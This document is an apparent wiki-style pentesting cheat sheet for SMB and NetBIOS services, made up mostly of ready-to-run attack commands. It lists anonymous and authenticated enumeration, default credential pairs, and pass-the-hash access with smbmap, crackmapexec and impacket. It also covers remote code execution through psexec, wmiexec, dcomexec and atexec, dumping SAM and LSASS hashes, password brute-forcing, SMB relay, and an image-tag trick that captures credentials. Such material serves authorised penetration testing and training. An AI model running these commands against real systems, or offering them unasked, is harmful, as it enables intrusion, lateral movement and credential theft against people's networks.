327 lines
14 KiB
Markdown
327 lines
14 KiB
Markdown
# 139,445 - Pentesting SMB
|
||
|
||
## **Port 139**
|
||
|
||
**NetBIOS** stands for _Network Basic Input Output System_. It is a software protocol that allows applications, PCs, and Desktops on a local area network \(LAN\) to communicate with network hardware and to transmit data across the network. Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. A NetBIOS name is up to 16 characters long and usually, separate from the computer name. Two applications start a NetBIOS session when one \(the client\) sends a command to “call” another client \(the server\) over **TCP Port 139**. \(extracted from [here](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)\)
|
||
|
||
```text
|
||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||
```
|
||
|
||
## Port 445
|
||
|
||
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. **SMB** stands for ‘**Server Message Blocks**’. Server Message Block in modern language is also known as **Common Internet File System**. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
|
||
|
||
For instance, on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. This will use, as you point out, port 445. On other systems, you’ll find services and applications using port 139. This means that SMB is running with NetBIOS over TCP/IP**.** \(extracted from [here](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)\)
|
||
|
||
```text
|
||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||
```
|
||
|
||
### IPC$ share
|
||
|
||
From book _**Network Security Assessment 3rd edition**_
|
||
|
||
With an anonymous null session you can access the IPC$ share and interact with services exposed via named pipes. The enum4linux utility within Kali Linux is particularly useful; with it, you can obtain the following:
|
||
|
||
* Operating system information
|
||
* Details of the parent domain
|
||
* A list of local users and groups
|
||
* Details of available SMB shares
|
||
* The effective system security policy
|
||
|
||
## What is NTLM
|
||
|
||
If you don't know what is NTLM or you want to know how it works and how to abuse it, you will find very insteresting this page about [**NTLM** where is explained **how this protocol works and how you can take advantage of it**](../windows/ntlm/).
|
||
|
||
## **Enumeration**
|
||
|
||
### **Scan** a network searching for hosts:
|
||
|
||
```bash
|
||
nbtscan -r 192.168.0.1/24
|
||
```
|
||
|
||
### SMB server version
|
||
|
||
To look for possible exploits to the SMB version it important to know which version is being used. If this information does not appear in other used tools, you can:
|
||
- Use the **MSF** auxiliary module _**auxiliary/scanner/smb/smb\_version**
|
||
- ****_Or **this script**:
|
||
|
||
```bash
|
||
#!/bin/sh
|
||
#Author: rewardone
|
||
#Description:
|
||
# Requires root or enough permissions to use tcpdump
|
||
# Will listen for the first 7 packets of a null login
|
||
# and grab the SMB Version
|
||
#Notes:
|
||
# Will sometimes not capture or will print multiple
|
||
# lines. May need to run a second time for success.
|
||
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
|
||
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
|
||
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
|
||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||
echo "" && sleep .1
|
||
```
|
||
|
||
### **Search exploit**
|
||
|
||
```bash
|
||
msf> search type:exploit platform:windows target:2008 smb
|
||
searchsploit microsoft smb
|
||
```
|
||
|
||
### **Possible** Credentials
|
||
|
||
| **Username\(s\)** | **Common passwords** |
|
||
| :--- | :--- |
|
||
| _\(blank\)_ | _\(blank\)_ |
|
||
| guest | _\(blank\)_ |
|
||
| Administrator, admin | _\(blank\)_, password, administrator, admin |
|
||
| arcserve | arcserve, backup |
|
||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||
| backupexec, backup | backupexec, backup, arcada |
|
||
| test, lab, demo | password, test, lab, demo |
|
||
|
||
### Obtain information
|
||
|
||
```bash
|
||
#Dump interesting information
|
||
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
|
||
nmap --script "safe or smb-enum-*" -p 445 <IP>
|
||
|
||
#Connect to the rpc
|
||
rpcclient -U "" -N <IP> #No creds
|
||
rpcclient -U "username" [--pw-nt-hash] <IP> #Ask for password/NT hash
|
||
#You can use querydispinfo and enumdomusers to query user information
|
||
|
||
#Dump user information
|
||
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||
|
||
#Map possible RPC endpoints
|
||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
|
||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||
```
|
||
|
||
### **Enumerating LSARPC and SAMR rpcclient**
|
||
|
||
**Pat of this section was extracted from book "**_**Network Security Assesment 3rd Edition**_**"**
|
||
|
||
You can use the Samba **`rpcclient`** utility to interact with **RPC endpoints via named pipes**. The following lists commands that you can issue to SAMR, LSARPC, and LSARPC-DS interfaces upon **establishing** a **SMB session** \(often requiring credentials\).
|
||
|
||
#### Users enumeration
|
||
|
||
* **List users**: `querydispinfo` and `enumdomusers`
|
||
* **Get user details**: `queryuser <0xrid>`
|
||
* **Get user groups**: `queryusergroups <0xrid>`
|
||
* **GET SID of a user**: `lookupnames <username>`
|
||
* **Get users aliases**: `queryuseraliases [builtin|domain] <sid>`
|
||
|
||
#### Groups enumeration
|
||
|
||
* **List groups**: `enumdomgroups`
|
||
* **Get group details**: `querygroup <0xrid>`
|
||
* **Get group members**: `querygroupmem <0xrid>`
|
||
|
||
#### Aliasgroups enumeration
|
||
|
||
* **List alias**: `enumalsgroups <builtin|domain>`
|
||
* **Get members**: `queryaliasmem builtin|domain <0xrid>`
|
||
|
||
#### Domains enumeration
|
||
|
||
* **List domains**: `enumdomains`
|
||
* **Get SID**: `lsaquery`
|
||
* **Domain info**: `querydominfo`
|
||
|
||
#### More SIDs
|
||
|
||
* **Find SIDs by name**: `lookupnames <username>`
|
||
* **Find more SIDs**: `lsaenumsid`
|
||
* **RID cycling \(check more SIDs\)**: `lookupsids <sid>`
|
||
|
||
| **Command** | **Interface** | **Description** |
|
||
| :--- | :--- | :--- |
|
||
| queryuser | SAMR | Retrieve user information |
|
||
| querygroup | Retrieve group information | |
|
||
| querydominfo | Retrieve domain information | |
|
||
| enumdomusers | Enumerate domain users | |
|
||
| enumdomgroups | Enumerate domain groups | |
|
||
| createdomuser | Create a domain user | |
|
||
| deletedomuser | Delete a domain user | |
|
||
| lookupnames | LSARPC | Look up usernames to SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) values |
|
||
| lookupsids | Look up SIDs to usernames \(RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) cycling\) | |
|
||
| lsaaddacctrights | Add rights to a user account | |
|
||
| lsaremoveacctrights | Remove rights from a user account | |
|
||
| dsroledominfo | LSARPC-DS | Get primary domain information |
|
||
| dsenumdomtrusts | Enumerate trusted domains within an AD forest | |
|
||
|
||
To **understand** better how the tools _**samrdump**_ **and** _**rpcdump**_ works you should read [**Pentesting MSRPC**](135-penstesting-msrpc.md).
|
||
|
||
### List shared folders
|
||
|
||
It is always recommended to look if you can access to anything, if you don't have credentials try using **null** **credentials/guest user**.
|
||
|
||
```bash
|
||
smbclient --no-pass -L //<IP> # Null user
|
||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||
smbmap -H <IP> [-P <PORT>] #Null user
|
||
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
|
||
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
|
||
crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||
```
|
||
|
||
### **Connect/List a shared folder**
|
||
|
||
```bash
|
||
#Connect using smbclient
|
||
smbclient --no-pass //<IP>/<Folder>
|
||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
|
||
|
||
#List with smbmap, without folder it list everything
|
||
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
|
||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||
```
|
||
|
||
### Mount a shared folder
|
||
|
||
```bash
|
||
mount -t cifs -o username=user,password=password //x.x.x.x/share /mnt/share
|
||
```
|
||
|
||
### **Download files**
|
||
|
||
Read previous sections to learn how to connect with credentials/Pass-the-Hash.
|
||
|
||
```bash
|
||
#Search a file and download
|
||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||
```
|
||
|
||
```bash
|
||
#Download all
|
||
smbclient //<IP>/<share>
|
||
> recurse ON
|
||
> prompt OFF
|
||
> mget *
|
||
#Download everything to current directory
|
||
```
|
||
|
||
## Authenticate using Kerberos
|
||
|
||
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
|
||
|
||
```bash
|
||
smbclient --kerberos //ws01win10.domain.com/C$
|
||
rpcclient -k ws01win10.domain.com
|
||
```
|
||
|
||
## **Execute**
|
||
|
||
### **crackmapexec**
|
||
|
||
```bash
|
||
apt-get install crackmapexec
|
||
|
||
crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
|
||
crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
|
||
crackmapexec 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
|
||
# Using --exec-method -1,2,3 wmiexec,atexec,smbexec
|
||
|
||
crackmapexec -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
|
||
crackmapexec -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
|
||
```
|
||
|
||
### \*\*\*\*[**psexec**](../windows/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows/ntlm/smbexec.md)\*\*\*\*
|
||
|
||
Both options will **create a new service** \(using _\pipe\svcctl_ via SMB\) in the victim machine and use it to **execute something** \(**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-\).
|
||
**More info** about [**psexec** ](../windows/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows/ntlm/smbexec.md).
|
||
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
||
|
||
```bash
|
||
#If no password is provided, it will be prompted
|
||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||
```
|
||
|
||
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
|
||
|
||
### [wmiexec](../windows/ntlm/wmicexec.md)/dcomexec
|
||
|
||
Stealthily execute a command shell without touching the disk or running a new service using DCOM via **port 135.**
|
||
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
||
|
||
```bash
|
||
#If no password is provided, it will be prompted
|
||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||
```
|
||
|
||
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
|
||
|
||
```bash
|
||
#If no password is provided, it will be prompted
|
||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||
```
|
||
|
||
### [AtExec](../windows/ntlm/atexec.md)
|
||
|
||
Execute commands via the Task Scheduler \(using _\pipe\atsvc_ via SMB\).
|
||
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
||
|
||
```bash
|
||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||
```
|
||
|
||
## Impacket reference
|
||
|
||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||
|
||
## **Bruteforce users credentials**
|
||
|
||
**This is not recommended, you could block an account if you exceed the maximum allowed tries**
|
||
|
||
```bash
|
||
nmap --script smb-brute -p 445 <IP>
|
||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce eachusername
|
||
```
|
||
|
||
## SMB relay attack
|
||
|
||
This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.
|
||
[**More information about this attack here.**](pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)\*\*\*\*
|
||
|
||
## SMB-Trap
|
||
|
||
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
|
||
|
||
This happens with the funcions:
|
||
|
||
* URLDownloadToFile
|
||
* URLDownloadToCache
|
||
* URLOpenStream
|
||
* URLOpenBlockingStream
|
||
|
||
Which are used by some browsers and tools \(like Skype\)
|
||
|
||
|
||
|
||
### SMBTrap using MitMf
|
||
|
||
|
||
|
||
|
||
|